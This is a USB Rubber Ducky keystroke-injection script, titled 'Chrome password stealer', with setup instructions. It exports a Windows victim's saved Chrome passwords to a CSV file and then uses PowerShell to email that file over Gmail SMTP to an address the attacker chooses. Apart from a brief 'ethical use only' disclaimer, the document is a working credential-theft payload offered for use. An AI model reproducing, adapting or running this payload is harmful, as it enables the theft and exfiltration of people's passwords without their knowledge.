Chrome password stealer

Chrome password stealer:

/!\ ETHICAL USE ONLY: I am not responsible in any way for the use you make of this payload. Make sure to only use this on someone if you have their permission, or use on your own devices.

This is intended for relatively fast devices. If you intend to use this on slower machines, feel free to tweak it by increasing the delay between entries.

Use:

You will first have to edit the text file and replace the capital text in brackets by the following information:

• The email you wish to send the password file from (Please do not use your main email address)
• Its password
• The email on which you want to recieve the passwords (can be the same)

For this to work, you will have to enable less secure app access. You can do so here.

Ducky code:

REM Author: Guereak
REM Ducky chrome password stealer for Windows 10
Delay 1000
REM ----------- opens chrome web browser
GUI r
DELAY 500
STRING chrome
DELAY 400
ENTER
DELAY 600
REM ----------- exports passwords into csv file
STRING chrome://settings/passwords
ENTER
DELAY 1000
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
ENTER
DELAY 200
ENTER
DELAY 200
ENTER
DELAY 700
STRING chromepasswords.csv
DELAY 200
ENTER
DELAY 1000
CONTROL W
DELAY 100
REM -------------- sends it by email using powershell
GUI r
DELAY 200
STRING powershell
ENTER
DELAY 500
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
DELAY 100
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
DELAY 100
STRING $SMTPInfo.EnableSSL = $true
ENTER
DELAY 100
REM ---Make sure to enable less secure app access to sender's mail here: https://myaccount.google.com/lesssecureapps
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('YOUR SENDER EMAIL HERE@gmail.com', 'SENDER'S EMAIL PASSWORD')
ENTER
DELAY 100
STRING $SMTPServer = $E = New-Object System.Net.Mail.MailMessage
ENTER
DELAY 100
STRING $E.From = 'YOUR SENDER EMAIL HERE@gmail.com'
ENTER
DELAY 100
STRING $E.To.Add('RECIEVER'S MAIL@gmail.com')
ENTER
DELAY 100
STRING $E.Subject = $env:UserName
ENTER
DELAY 100
STRING $E.Body = 'Success! The password file is attached!'
ENTER
DELAY 100
STRING $F = 'Documents/chromepasswords.csv'
ENTER
DELAY 100
STRING $E.Attachments.Add($F)
ENTER
DELAY 100
STRING $F = $SMTPInfo.Send($E)
ENTER
DELAY 100
STRING exit
ENTER